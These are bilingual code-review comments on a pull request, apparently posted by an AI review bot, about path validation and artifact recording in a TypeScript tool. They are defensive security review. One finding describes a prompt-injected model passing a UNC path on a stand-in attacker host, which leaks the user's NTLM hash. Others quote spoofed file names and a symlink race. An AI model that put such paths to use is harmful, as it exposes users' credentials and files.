收敛姿态下延后（第 2 轮，非阻断）——已记录，本轮不要求修改：共 1 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| function shouldRefreshWorkspaceDisplay( | ||
| incoming: Pick<NormalizedArtifact, 'toolName'>, | ||
| existing: Pick<NormalizedArtifact, 'toolName'>, | ||
| ): boolean { | ||
| if (!incoming.toolName || incoming.toolName === 'record_artifact') { | ||
| return true; | ||
| } | ||
| return incoming.toolName === existing.toolName; | ||
| } |
There was a problem hiding this comment.
[Critical] R2-1: The curated-title guard compares against the stored toolName, but neither mergeArtifact nor mergeBatchArtifact ever updates the stored toolName on merge — it is frozen at the original producer — so a write_file → record_artifact → write_file sequence clobbers the curated title, defeating the invariant this hunk's comment states ("write_file/hook auto-records must not clobber it"). — Failure scenario: (1) write_file creates report.html → auto-record stamps toolName='write_file'; (2) explicit record_artifact curates the title to 'Q3 Report' — refresh allowed via the record_artifact branch, but nothing assigns next.toolName, so the stored toolName stays 'write_file'; (3) the agent rewrites the file → 'write_file' === 'write_file' passes the same-producer check → title silently reverts to 'report.html'. The new test only covers the opposite order (record_artifact as original producer), where the protection happens to hold.
Witness (probe against the real SessionArtifactStore): the three-step sequence ended with AssertionError: expected 'report.html' to be 'Q3 Report'; tracking incoming.toolName in the workspace-refresh branch flipped the probe to pass (curated title preserved); the temporary fix was reverted afterwards.
Suggested fix — track the latest producer instead of the original one: in mergeArtifact set next.toolName = incoming.toolName (at minimum inside the workspace refresh branch), and add toolName: next.toolName to the mergeBatchArtifact result; then step (3)'s 'write_file' !== 'record_artifact' correctly blocks the refresh. Add a test for the write_file → record_artifact → write_file ordering:
next.toolName = incoming.toolName; // in mergeArtifact's workspace-refresh branch中文说明
[严重] 受保护标题的守卫比较的是存储的 toolName，但 mergeArtifact 和 mergeBatchArtifact 在合并时从不更新存储的 toolName——它被冻结为最初的生产者——因此 write_file → record_artifact → write_file 的顺序会覆盖人工设置的标题，违背本段注释声明的不变量（"write_file/hook 自动登记不得覆盖它"）。失败场景：(1) write_file 创建 report.html → 自动登记打上 toolName='write_file'；(2) 显式 record_artifact 将标题设为 'Q3 Report'——经 record_artifact 分支允许刷新，但没有任何分支给 next.toolName 赋值，存储的 toolName 仍是 'write_file'；(3) 代理再次写该文件 → 'write_file' === 'write_file' 通过同生产者检查 → 标题被悄悄改回 'report.html'。新增测试只覆盖了相反的顺序（record_artifact 作为原始生产者），那种情况下保护恰好成立。
证据（针对真实 SessionArtifactStore 的探针）：三步序列结束时 AssertionError: expected 'report.html' to be 'Q3 Report'；在 workspace 刷新分支中记录 incoming.toolName 后探针翻转为通过（保留人工标题）；临时修复随后已还原。
修复建议——跟踪最新生产者而非最初生产者：在 mergeArtifact 中设置 next.toolName = incoming.toolName（至少在 workspace 刷新分支内），并在 mergeBatchArtifact 结果中加入 toolName: next.toolName；这样第 (3) 步的 'write_file' !== 'record_artifact' 就能正确阻止刷新。并补充 write_file → record_artifact → write_file 顺序的测试。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| it('rejects a canonical workspacePath that fails display safety checks', async () => { | ||
| const ws = await workspace(); | ||
| const nasty = path.join(ws.cwd, 'reports', 'actual\nforged.csv'); |
There was a problem hiding this comment.
[Critical] R2-2: This test creates a file whose name contains a literal newline — a character Windows forbids in filenames — and has no win32 guard, unlike the four platform-specific sibling tests in this same file (literal backslash, fifo, permission denied, drive/UNC locators all early-return on win32). — Failure scenario: the merge_group-gated test_windows job runs npm run test:ci, which collects this file (no platform exclusions in packages/core/vitest.config.ts). NTFS rejects control characters (< 0x20) in filenames, so fs.writeFile(...'actual\nforged.csv') throws EINVAL on every Windows merge-queue run while PR-level CI stays green — the breakage surfaces only at merge-queue time.
Witness: not run — no Windows runner is reachable from this Linux environment; verified against documented Win32 filename rules (NTFS rejects control characters), the in-file sibling-guard convention quoted above, and the ci.yml wiring (test_windows is merge_group-only).
| it('rejects a canonical workspacePath that fails display safety checks', async () => { | |
| const ws = await workspace(); | |
| const nasty = path.join(ws.cwd, 'reports', 'actual\nforged.csv'); | |
| it('rejects a canonical workspacePath that fails display safety checks', async () => { | |
| if (process.platform === 'win32') return; | |
| const ws = await workspace(); | |
| const nasty = path.join(ws.cwd, 'reports', 'actual\nforged.csv'); |
Or, to keep the display-safety check covered on Windows too, make the symlink target name Windows-legal but still display-unsafe, e.g. actual\u202eforged.csv (U+202E is a valid NTFS filename character and is rejected by hasControlCharacter).
中文说明
[严重] 该测试创建文件名中包含字面换行符的文件——Windows 禁止文件名包含该字符——且没有 win32 保护，而同文件中其余四个平台相关测试（literal backslash、fifo、permission denied、drive/UNC locators）都在 win32 上提前返回。失败场景：仅 merge_group 触发的 test_windows 任务运行 npm run test:ci，会收集本文件（packages/core/vitest.config.ts 无平台排除项）。NTFS 拒绝文件名中的控制字符（< 0x20），因此 fs.writeFile(...'actual\nforged.csv') 在每次 Windows 合并队列运行时抛出 EINVAL，而 PR 级 CI 仍为绿色——问题只在合并队列阶段暴露。
证据：未实际运行——本 Linux 环境无法访问 Windows 运行器；依据 Win32 文件名规则的文档（NTFS 拒绝控制字符）、上文引用的同文件兄弟测试保护惯例，以及 ci.yml 接线（test_windows 仅 merge_group 触发）验证。
或为了让 display-safety 检查在 Windows 上也有覆盖，可将 symlink 目标名改为 Windows 合法但仍不安全的名称，例如 actual\u202eforged.csv（U+202E 是合法 NTFS 文件名字符，且会被 hasControlCharacter 拒绝）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| let st; | ||
| try { | ||
| st = await fs.stat(resolved); | ||
| } catch (error) { |
There was a problem hiding this comment.
[Critical] R2-3: Still-standing blocker from @wenshao's round-1 review (comment 3782994108) — the filesystem object checked across containment and metadata reads is still not pinned. After fs.realpath(candidate) passes isWithinRoot, this path-based fs.stat(resolved) can observe a different file if a parent directory is swapped to an outside symlink in between; there is no open/fstat pinning. — Failure scenario: a targeted race returns the apparently in-workspace reports/report.csv with metadata from an outside file (the round-1 probe observed sizeBytes=19 from the outside file while the inside file was 6 bytes). The recorded canonical path itself stays inside (it is derived from the checked resolved), so the demonstrated impact is metadata (sizeBytes) corruption under a hostile local race — but the pinning the blocker asked for has not been implemented.
Witness: not run — a hostile concurrent-filesystem race is beyond what a probe can pin in this environment; the unpinned path-based stat after the containment check is visible in the code at the reviewed commit, and the store's own getWorkspaceStatus (sessionArtifacts.ts) demonstrates the pinning pattern available in-repo: O_NOFOLLOW open + fstat + identity check.
Suggested fix: use a containment-enforcing API or a no-follow handle plus identity/fstat verification, the way getWorkspaceStatus already does.
中文说明
[严重] @wenshao 第一轮评审中仍未解决的阻断项（评论 3782994108）——包含性检查与元数据读取之间检查的文件系统对象仍未被固定。fs.realpath(candidate) 通过 isWithinRoot 之后，若父目录在此期间被替换为指向外部的符号链接，这个基于路径的 fs.stat(resolved) 可能观察到另一个文件；没有 open/fstat 固定。失败场景：定向竞态可让看似位于工作区内的 reports/report.csv 返回外部文件的元数据（第一轮探针观察到外部文件的 sizeBytes=19，而内部文件仅 6 字节）。记录的规范化路径本身保持在界内（它派生自已检查的 resolved），因此已证实的影响是恶意本地竞态下的元数据（sizeBytes）污染——但阻断项要求的固定机制尚未实现。
证据：未实际运行——恶意并发文件系统竞态超出本环境探针可固定的范围；在受审提交的代码中可见包含性检查之后未固定的基于路径的 stat，而 store 自身的 getWorkspaceStatus（sessionArtifacts.ts）展示了仓库内可用的固定模式：O_NOFOLLOW 打开 + fstat + 身份校验。
修复建议：使用强制包含关系的 API，或 no-follow 句柄加身份/fstat 校验，与 getWorkspaceStatus 的既有做法一致。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| const match = resolved.match(WORKTREE_DIR_RE); | ||
| if (!match) { | ||
| return resolved; | ||
| } | ||
| return match[1] || path.parse(resolved).root; |
There was a problem hiding this comment.
[Critical] R2-5: On Windows, when the bound workspace is a drive root, the regex capture match[1] is a bare drive letter ('C:') — truthy, so the new path.parse(resolved).root fallback never fires — breaking both the new filesystem-root unit test on the Windows gate and production containment for drive-root workspaces. — Failure scenario: for C:\.qwen\worktrees\feature, resolveBoundWorkspaceRoot returns 'C:' instead of 'C:\'; the new test treats a worktree whose bound workspace is the filesystem root compares against path.parse(...).root === 'C:\', so it fails on the merge_group-gated test_windows job (it passes on POSIX, where match[1] is ''). Production consequence on the same input: path.win32.relative('C:', 'C:\f.csv') yields a ..-escape chain, so toCanonicalWorkspaceArtifactPath returns null and auto-recording silently drops every artifact for a drive-root workspace.
Witness (probe with Node's own path.win32 and the verbatim WORKTREE_DIR_RE): match[1]: "D:", resolveBoundWorkspaceRoot -> "D:", test expects "D:\\" → unit test passes on Windows: false; production arm: bound root returned "C:", canonical of C:\f.csv: null; control C:\repo canonicalized correctly.
| const match = resolved.match(WORKTREE_DIR_RE); | |
| if (!match) { | |
| return resolved; | |
| } | |
| return match[1] || path.parse(resolved).root; | |
| const match = resolved.match(WORKTREE_DIR_RE); | |
| if (!match) { | |
| return resolved; | |
| } | |
| const base = match[1]; | |
| if (!base) { | |
| return path.parse(resolved).root; | |
| } | |
| // A bare drive letter means the bound workspace is a Windows drive root; | |
| // 'C:' is drive-relative, not the root — normalize to 'C:\'. | |
| return base.endsWith(':') ? base + path.sep : base; |
With this, the test's expected value holds on both POSIX (/) and win32 (C:\).
中文说明
[严重] 在 Windows 上，当绑定工作区是盘符根目录时，正则捕获 match[1] 是裸盘符（'C:'）——为真值，因此新增的 path.parse(resolved).root 回退永远不会触发——这既破坏了文件系统根单元测试在 Windows 门禁上的运行，也破坏了盘符根工作区的生产环境包含性检查。失败场景：对于 C:\.qwen\worktrees\feature，resolveBoundWorkspaceRoot 返回 'C:' 而不是 'C:\'；新测试 treats a worktree whose bound workspace is the filesystem root 与 path.parse(...).root === 'C:\' 比较，因此在仅 merge_group 触发的 test_windows 任务上失败（在 POSIX 上 match[1] 为 ''，测试通过）。同一输入下的生产后果：path.win32.relative('C:', 'C:\f.csv') 产生 .. 越界链，toCanonicalWorkspaceArtifactPath 返回 null，盘符根工作区的自动登记被静默丢弃。
证据（用 Node 自身的 path.win32 与源码原样的 WORKTREE_DIR_RE 运行探针）：match[1]: "D:"、resolveBoundWorkspaceRoot -> "D:"、测试期望 "D:\\" → 单元测试在 Windows 上通过：false；生产分支：绑定根返回 "C:"，C:\f.csv 的规范化结果：null；对照组 C:\repo 规范化正确。
修复后，测试期望值在 POSIX（/）和 win32（C:\）上都成立。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| if (!incoming.toolName || incoming.toolName === 'record_artifact') { | ||
| return true; | ||
| } | ||
| return incoming.toolName === existing.toolName; |
There was a problem hiding this comment.
[Suggestion] R2-6: Hook-emitted artifacts are stamped with the matched tool's toolName, so a hook-curated title is indistinguishable from that tool's auto-record — a later genuine auto-record by the tool passes this same-producer check and clobbers the hook-curated title, defeating this hunk's own invariant and regressing pre-PR behavior (re-records kept existing.title unconditionally). — Concrete cost: a PostToolUse hook matching write_file emits an artifact with a custom title ('Q3 sales report') for a workspacePath; the hook path stamps toolName: 'write_file' (the matched tool). On the next write_file to that path, the auto-record matches the stored toolName and silently renames the artifact back to the basename. Fixing R2-1 (updating the stored toolName on refresh) does not close this entrance — the hook's own stamp IS the tool name; producer attribution is at tool granularity, not record granularity.
Witness (probe against the real store): after the hook record the title was 'Quarterly sales report' (toolName 'write_file', source 'hook'); a subsequent write_file auto-record for the same path changed the title to 'sales.csv'. Replacing the same-producer clause with return false preserved the curated title (flip check); restored afterwards.
Suggested fix: key the producer comparison on more than toolName — e.g. compare the (toolName, hookEventName, source) tuple and propagate updated provenance into the stored record when a refresh is accepted, or treat source: 'hook'/client records as curators whose titles only record_artifact/client re-records may refresh.
中文说明
[建议] hook 发出的产物被打上所匹配工具的 toolName，因此 hook 设置的标题与该工具自己的自动登记无法区分——该工具之后的真实自动登记会通过与生产者相同的检查，覆盖 hook 设置的标题，违背本段自身的不变量，并回归了 PR 之前的行为（重登记原本无条件保留 existing.title）。具体代价：匹配 write_file 的 PostToolUse hook 为某 workspacePath 发出带自定义标题（'Q3 sales report'）的产物；hook 路径打上 toolName: 'write_file'（所匹配的工具）。下一次 write_file 写同一路径时，自动登记与存储的 toolName 匹配，悄悄把产物名改回文件基名。修复 R2-1（刷新时更新存储的 toolName）并不能关闭此入口——hook 自己的戳就是工具名；生产者归属的粒度是工具级，而非记录级。
证据（针对真实 store 的探针）：hook 登记后标题为 'Quarterly sales report'（toolName 'write_file'、source 'hook'）；随后同路径的 write_file 自动登记把标题改为 'sales.csv'。将与生产者相同的分支替换为 return false 后保留了人工标题（翻转实验）；随后已还原。
修复建议：生产者比较不要只看 toolName——例如比较 (toolName, hookEventName, source) 元组，并在接受刷新时把更新后的来源信息写入存储记录；或将 source: 'hook'/客户端记录视为设置者，其标题只能由 record_artifact/客户端重登记刷新。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| if (trimmed.length > 4096) { | ||
| return '"workspacePath" exceeds 4096 characters'; | ||
| } |
There was a problem hiding this comment.
[Suggestion] R2-7: validateWorkspacePath advertises a 4096-char budget for absolute inputs (and 500 for relative ones), but the canonical root-relative path stored at execute time is still capped at ARTIFACT_WORKSPACE_PATH_MAX_LENGTH (500) — so inputs within the advertised budget fail at execution with a message that blames the caller's input. This is a newly introduced failure mode: the worktree relative-depth case below passed pre-PR, when locators were stored verbatim. — Concrete cost: a worktree session (cwd = <root>/.qwen/worktrees/<slug>) records a file with a 489-char relative workspacePath: validation accepts it (<= 500), but inspectWorkspaceCandidate's canonical path prepends .qwen/worktrees/<slug>/, exceeds 500, and execute returns "workspacePath" exceeds 500 characters (INVALID_TOOL_PARAMS). Same for any absolute input (up to 4096) whose root-relative depth exceeds 500. The model is told its input is too long although the input satisfied the published limit, inviting pointless retries.
Witness (probe, PR unmodified): worktree session with a 489-char relative input → execute error "workspacePath" exceeds 500 characters; ordinary session with a 631-char absolute input → same error. Relaxing the canonical cap to 4096 made both probes succeed (flip check); restored afterwards.
Suggested fix: enforce the storage cap consistently — validate the estimated canonical (root-relative) length in validateWorkspacePath instead of the raw input length, and/or change the execute-time message to say the derived workspace-root-relative path (not the caller's input) exceeds 500 characters.
中文说明
[建议] validateWorkspacePath 宣称为绝对输入提供 4096 字符预算（相对输入 500），但执行期落库的规范化根相对路径仍以 ARTIFACT_WORKSPACE_PATH_MAX_LENGTH（500）为上限——于是预算内的输入在执行期失败，且错误消息把责任归于调用方的输入。这是新引入的失败模式：下面的 worktree 相对深度场景在 PR 之前（locator 原样存储时）是通过的。具体代价：worktree 会话（cwd = <root>/.qwen/worktrees/<slug>）以 489 字符的相对 workspacePath 登记文件：校验通过（<= 500），但 inspectWorkspaceCandidate 的规范化路径加上 .qwen/worktrees/<slug>/ 前缀后超过 500，执行返回 "workspacePath" exceeds 500 characters（INVALID_TOOL_PARAMS）。任何根相对深度超过 500 的绝对输入（最多 4096）同理。模型被告知输入过长，尽管输入满足公布的限制，从而引发无谓的重试。
证据（探针，PR 未修改）：worktree 会话 489 字符相对输入 → 执行错误 "workspacePath" exceeds 500 characters；普通会话 631 字符绝对输入 → 同样错误。将规范化上限放宽到 4096 后两个探针均成功（翻转实验）；随后已还原。
修复建议：一致地执行存储上限——在 validateWorkspacePath 中校验估算的规范化（根相对）长度而非原始输入长度；和/或将执行期消息改为"派生的工作区根相对路径"（而非调用方输入）超过 500 字符。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| let lst; | ||
| try { | ||
| lst = await fs.lstat(candidate); | ||
| } catch (error) { | ||
| return pathInspectFailure( | ||
| error, | ||
| candidate, | ||
| rawPath, | ||
| `Failed to record artifact: file not found at "${candidate}".`, | ||
| ); | ||
| } |
There was a problem hiding this comment.
[Suggestion] R2-8: The fs.lstat catch passes a "file not found" fallback message, but pathInspectFailure uses that fallback for any error type other than FILE_NOT_FOUND/PERMISSION_DENIED — so lstat failures classified as EXECUTION_FAILED are mislabeled "file not found" while their type says execution_failed. The realpath and stat catch sites pass properly generic fallbacks; only this one asserts a cause. — Failure scenario: validateWorkspacePath accepts relative locators up to 500 chars with no per-component limit; POSIX NAME_MAX is 255. A locator like "a".repeat(300) + ".csv" passes validation, fs.lstat fails with ENAMETOOLONG → EXECUTION_FAILED → the model sees file not found at "..." and retries along the missing-file path (re-check/re-create) instead of shortening the name. Same mislabel for EIO on flaky/NFS storage.
Witness (probe against the real tool): error.type = 'execution_failed' with the message containing file not found simultaneously; applying the fix below flipped the message to could not inspect "..." (ENAMETOOLONG: name too long, lstat '...'); the fix was reverted afterwards.
| let lst; | |
| try { | |
| lst = await fs.lstat(candidate); | |
| } catch (error) { | |
| return pathInspectFailure( | |
| error, | |
| candidate, | |
| rawPath, | |
| `Failed to record artifact: file not found at "${candidate}".`, | |
| ); | |
| } | |
| let lst; | |
| try { | |
| lst = await fs.lstat(candidate); | |
| } catch (error) { | |
| return pathInspectFailure( | |
| error, | |
| candidate, | |
| rawPath, | |
| `Failed to record artifact: could not inspect "${candidate}" (${error instanceof Error ? error.message : String(error)}).`, | |
| ); | |
| } |
中文说明
[建议] fs.lstat 的 catch 传入了 "file not found" 回退消息，但 pathInspectFailure 只对 FILE_NOT_FOUND/PERMISSION_DENIED 之外的错误类型使用该回退——因此被分类为 EXECUTION_FAILED 的 lstat 失败会被误标为 "file not found"，而其 type 却是 execution_failed。realpath 与 stat 的 catch 位置传入的是恰当的中性回退；只有这一处断言了原因。失败场景：validateWorkspacePath 接受最长 500 字符的相对 locator 且无单分量限制；POSIX NAME_MAX 为 255。形如 "a".repeat(300) + ".csv" 的 locator 通过校验后，fs.lstat 以 ENAMETOOLONG 失败 → EXECUTION_FAILED → 模型看到 file not found at "..."，于是沿"文件缺失"路径重试（重新检查/重新创建），而不是缩短名称。不稳定/NFS 存储上的 EIO 同样被误标。
证据（针对真实工具的探针）：error.type = 'execution_failed' 且消息同时包含 file not found；应用下面的修复后消息翻转为 could not inspect "..." (ENAMETOOLONG: name too long, lstat '...')；修复随后已还原。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| return toCanonicalWorkspaceArtifactPath( | ||
| fs.realpathSync(filePath), | ||
| fs.realpathSync(config.getTargetDir()), | ||
| ); |
There was a problem hiding this comment.
[Suggestion] R2-9: Artifact identity (title/kind/mimeType, and the extension whitelist decision upstream) is derived from the unresolved filePath while workspacePath now comes from fs.realpathSync(filePath) — the two describe different files when the written path involves a symlink whose final component differs. The whitelist-check half is pre-existing; the identity/locator divergence is introduced by this PR's realpath change. — Concrete cost: a workspace contains report.csv -> data/payload.bin; the agent writes report.csv and write_file follows the link. Metadata sets title report.csv, kind/mimeType from .csv, but the recorded workspacePath is data/payload.bin — Open/Download serves the .bin bytes under a CSV identity, and a non-whitelisted target gets an auto-recorded identity it would never get when written directly. Containment is still enforced (the escaping-realpath case returns null), bounding this at Suggestion.
Witness (probe via buildWorkspaceArtifactMetadata, PR unmodified): report.csv -> data/payload.bin yielded {title:"report.csv", workspacePath:"data/payload.bin", mimeType:"text/csv"}; report.html -> dropped.exe yielded an html identity for an exe target. Reverting the locator to the unresolved path made title and locator agree (flip check); restored afterwards.
Suggested fix: derive title/kind/mimeType from the same canonical (realpath-resolved) path used for workspacePath, or skip the artifact when the realpath basename differs from the requested file name.
中文说明
[建议] 产物身份（title/kind/mimeType，以及上游的扩展名白名单判断）取自未解析的 filePath，而 workspacePath 现在来自 fs.realpathSync(filePath)——当写入路径经过末段不同的符号链接时，两者描述的是不同文件。白名单检查的一半是既有行为；身份/定位符的分歧由本 PR 的 realpath 改动引入。具体代价：工作区内有 report.csv -> data/payload.bin；代理写 report.csv，write_file 跟随链接。元数据把标题设为 report.csv、kind/mimeType 按 .csv 推导，但落库的 workspacePath 是 data/payload.bin——打开/下载会以 CSV 身份提供 .bin 字节，非白名单目标也获得了直接写入时永远不会获得的自动登记身份。包含性检查仍然有效（realpath 越界时返回 null），因此限定为建议级。
证据（通过 buildWorkspaceArtifactMetadata 的探针，PR 未修改）：report.csv -> data/payload.bin 产生 {title:"report.csv", workspacePath:"data/payload.bin", mimeType:"text/csv"}；report.html -> dropped.exe 为 exe 目标产生了 html 身份。将定位符还原为未解析路径后标题与定位符一致（翻转实验）；随后已还原。
修复建议：title/kind/mimeType 与 workspacePath 一样从规范化（realpath 解析后）路径推导；或当 realpath 基名与请求文件名不同时跳过登记。
— qwen3.8-max via Qwen Code /review (v0.21.13)
write_file could overwrite a record_artifact or hook title because the stored producer was never updated. Co-authored-by: Cursor <cursoragent@cursor.com>
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — packages/vscode-ide-companion and packages/webui suites did not run (the whole-call budget was spent).
Not explored to full depth (tool budget reached): "agent reverse-audit (round 1)": traced SessionArtifactStore.workspaceCwd only to the constructor option ( options.workspaceCwd ); the cli-serve store-construction call site that decides what…; "agent reverse-audit (round 1)": the second named consumer ( GET /file / workspace-file-read route) was not read end-to-end to verify its resolution root..
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Test Plan (not a blocker): w/agent/report.csv — no such file or directory; 28 passing — this review observed 1436, 19674, 19994, 3586, 1555 passed.
Deferred under the convergence posture (round 3, not a blocker) — recorded, not requested in this round:
packages/core/src/tools/record-artifact.ts:108 — [probe] caller-supplied sizeBytes overrides the fresh stat measurementpackages/web-shell/client/components/artifacts/TurnOutputs.tsx:675 — [probe] canOpenWorkspaceArtifact's 'changed' clause is unpinned by testspackages/core/src/tools/record-artifact.test.ts:184 — [probe] literal-backslash vs slash-normalized collision precedence is unpinnedpackages/core/src/tools/record-artifact.ts:784 — [probe] ENOTDIR→FILE_NOT_FOUND mapping is exercised by no testpackages/web-shell/client/components/artifacts/TurnOutputs.tsx:672 — [probe] the storage !== 'workspace' early return is pinned by no testpackages/core/src/index.ts:208 — [review] dead public exports of internal workspace-path helpers (round 2 deferred it; still true at HEAD)packages/core/src/tools/record-artifact.ts:642 — [probe] ENAMETOOLONG/ELOOP skip the backslash fallback gate
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：build-and-test — packages/vscode-ide-companion and packages/webui suites did not run (the whole-call budget was spent)。
未探索到全部深度（达到工具调用预算）："agent reverse-audit (round 1)"：traced SessionArtifactStore.workspaceCwd only to the constructor option ( options.workspaceCwd ); the cli-serve store-construction call site that decides what…；"agent reverse-audit (round 1)"：the second named consumer ( GET /file / workspace-file-read route) was not read end-to-end to verify its resolution root.。
未审查：反向审计——在 5 轮的反审轮数上限内未收敛。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory; 28 passing — this review observed 1436, 19674, 19994, 3586, 1555 passed。
收敛姿态下延后（第 3 轮，非阻断）——已记录，本轮不要求修改：共 7 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| const comparable = tryResolveForContainment(path.resolve(trimmed)); | ||
| if (comparable && !isWithinRoot(comparable, root)) { | ||
| return '"workspacePath" must stay inside the workspace'; | ||
| } |
There was a problem hiding this comment.
[Critical] R3-5: On Windows, a UNC workspacePath (\\attacker\share\…) enters the absolute branch — isForeignWindowsAbsolute returns false by design on win32 — and validateWorkspacePath calls tryResolveForContainment → realpathSync on the model-controlled UNC path during parameter validation, before any containment verdict. Windows resolves UNC paths over SMB and authenticates with the user's NTLMv2 credentials, so the hash is sent to the model-named server even when the path is then rejected. When resolution fails, comparable is undefined, the containment check is skipped and validation accepts; execution then fs.lstats the UNC path, authenticating a second time. Pre-diff code rejected every absolute locator lexically and execute performed no fs I/O — this diff introduces fs contact with model-controlled paths. — Failure scenario: on a Windows host, a prompt-injected model calls record_artifact with workspacePath: "\\attacker.example\share\report.csv" → the user's NTLMv2 hash travels to attacker.example during validation even though the path is rejected; an unreachable share is accepted at validation and lstat'd (authenticated) again at execute time.
Witness (win32-simulated probe on a Linux runner): path.win32.isAbsolute('\\attacker.example\share\report.csv') === true; build({workspacePath: UNC}) threw "workspacePath" must stay inside the workspace only AFTER the containment resolution ran, while on posix the same input is rejected lexically. The NTLM-authentication half is documented Windows SMB client behavior and could not be executed on Linux.
| const comparable = tryResolveForContainment(path.resolve(trimmed)); | |
| if (comparable && !isWithinRoot(comparable, root)) { | |
| return '"workspacePath" must stay inside the workspace'; | |
| } | |
| const comparable = tryResolveForContainment(path.resolve(trimmed)); | |
| if (trimmed.startsWith('\\\\')) { | |
| return WORKSPACE_PATH_HINT; | |
| } | |
| if (comparable && !isWithinRoot(comparable, root)) { | |
| return '"workspacePath" must stay inside the workspace'; | |
| } |
Mirror the same lexical UNC rejection in workspacePathCandidate's absolute branch.
中文说明
[严重] R3-5：在 Windows 上，UNC 形式的 workspacePath（\\attacker\share\…）会进入绝对路径分支——isForeignWindowsAbsolute 在 win32 上按设计返回 false——validateWorkspacePath 在参数校验阶段、包含性判定之前就对模型可控的 UNC 路径调用 tryResolveForContainment → realpathSync。Windows 通过 SMB 解析 UNC 路径并使用用户的 NTLMv2 凭据进行身份验证，因此即使该路径随后被拒绝，凭据哈希也已被发送到模型指定的服务器。若解析失败，comparable 为 undefined，包含性检查被跳过，校验通过；执行期又对该 UNC 路径执行 fs.lstat，第二次触发身份验证。改动前的代码在字符串层面拒绝所有绝对定位符，且 execute 不做任何 fs I/O——是本 diff 引入了对模型可控路径的文件系统接触。失败场景：Windows 主机上被提示注入的模型以 workspacePath: "\\attacker.example\share\report.csv" 调用 record_artifact → 校验期间用户的 NTLMv2 哈希即被发往 attacker.example（即便该路径最终被拒绝；若解析失败则直接被接受并在执行期再次 lstat 验证）。
证据（win32 模拟探针，在 Linux 运行器上执行）：path.win32.isAbsolute('\\attacker.example\share\report.csv') === true；build({workspacePath: UNC}) 只在包含性解析运行之后才抛出 "workspacePath" must stay inside the workspace，而 posix 上同一输入在词法层面即被拒绝。NTLM 身份验证部分是 Windows SMB 客户端的文档行为，无法在 Linux 上实际执行。
修复建议：在任何文件系统解析之前词法拒绝 UNC 输入（上方 suggestion），并在 workspacePathCandidate 的绝对路径分支中做同样处理。
— qwen3.8-max via Qwen Code /review (v0.21.13)
|
|
||
| import path from 'node:path'; | ||
|
|
||
| const WORKTREE_DIR_RE = /^(.*)[\\/]\.qwen[\\/]worktrees[\\/][^\\/]+$/; |
There was a problem hiding this comment.
[Critical] R3-22: Still-standing blocker from @wenshao's round-1 review (comment 3782994126), re-checked at this commit: bound-workspace ownership is still inferred lexically from the .qwen/worktrees/<slug> suffix. A normal workspace rooted at /projects/container/.qwen/worktrees/app is rebound to /projects/container: producers emit .qwen/worktrees/app/report.csv, while consumers resolve against the actual bound root — SessionArtifactStore is constructed with the bridge's boundWorkspace (createSessionEntry → new SessionArtifactStore({ workspaceCwd: boundWorkspace }), the only production construction site; verified the restore path throws WorkspaceMismatchError on any other key) and applies no suffix stripping — so the locator resolves as a duplicated nested path and the artifact is marked missing. The blocker asked for explicit bound-workspace/worktree-session metadata instead of lexical inference; that was not implemented. This round's probes verified sibling entrances of the same mechanism are live: a session in a .qwen/tmp/review-pr-<n> review checkout canonicalizes to a prefix-less locator (colliding with same-named files at the main root, and rejecting absolute main-checkout locators), and a symlinked .qwen/worktrees component dissolves the marker under realpath-before-strip ordering. — Failure scenario: a session whose cwd is a root ending in .qwen/worktrees/<slug> records report.csv → canonical .qwen/worktrees/<slug>/report.csv is stored → consumers resolve <root>/.qwen/worktrees/<slug>/.qwen/worktrees/<slug>/report.csv → status missing for a file that exists, or a same-named root file is served/opened instead.
Witness: round-1 probe (comment 3782994126) expected the original root but received /projects/container. Round-3 A/B probe: targetDir <main>/.qwen/tmp/review-pr-123 → a relative record canonicalized to prefix-less report.csv and an absolute main-checkout locator threw "workspacePath" must stay inside the workspace; a one-line regex extension flipped both arms (verified, then reverted).
Suggested direction: pass explicit bound-workspace metadata to the producer instead of inferring the bound root from the directory shape (at minimum, recognize every real session-checkout layout and strip on the logical path before realpathing, with a regression test per layout).
中文说明
[严重] R3-22：@wenshao 第一轮评审中仍未解决的阻断项（评论 3782994126），在本次提交上复核：绑定工作区归属仍然仅凭 .qwen/worktrees/<slug> 目录后缀做词法推断。根目录为 /projects/container/.qwen/worktrees/app 的普通工作区会被重新绑定到 /projects/container：生产者输出 .qwen/worktrees/app/report.csv，而消费者按真实绑定根解析——SessionArtifactStore 以 bridge 的 boundWorkspace 构造（createSessionEntry → new SessionArtifactStore({ workspaceCwd: boundWorkspace })，唯一的生产构造点；restore 路径对任何其他 key 抛 WorkspaceMismatchError，已核实）且不做后缀剥离——于是该定位符被解析成重复嵌套路径，产物被标记为 missing。阻断项要求传递显式的绑定工作区/worktree 会话元数据而非词法推断；该改动未实现。本轮探针证实同一机制的兄弟入口仍然存在：.qwen/tmp/review-pr-<n> 评审检出目录中的会话会规范化出无前缀定位符（与主根同名文件冲突，且拒绝主检出绝对路径）；符号链接的 .qwen/worktrees 组件在“先 realpath 后剥离”的顺序下会使标记消失。失败场景：cwd 根以 .qwen/worktrees/<slug> 结尾的会话登记 report.csv → 落库 .qwen/worktrees/<slug>/report.csv → 消费者解析 <root>/.qwen/worktrees/<slug>/.qwen/worktrees/<slug>/report.csv → 文件存在却被标记 missing，或打开的是主根的同名文件。
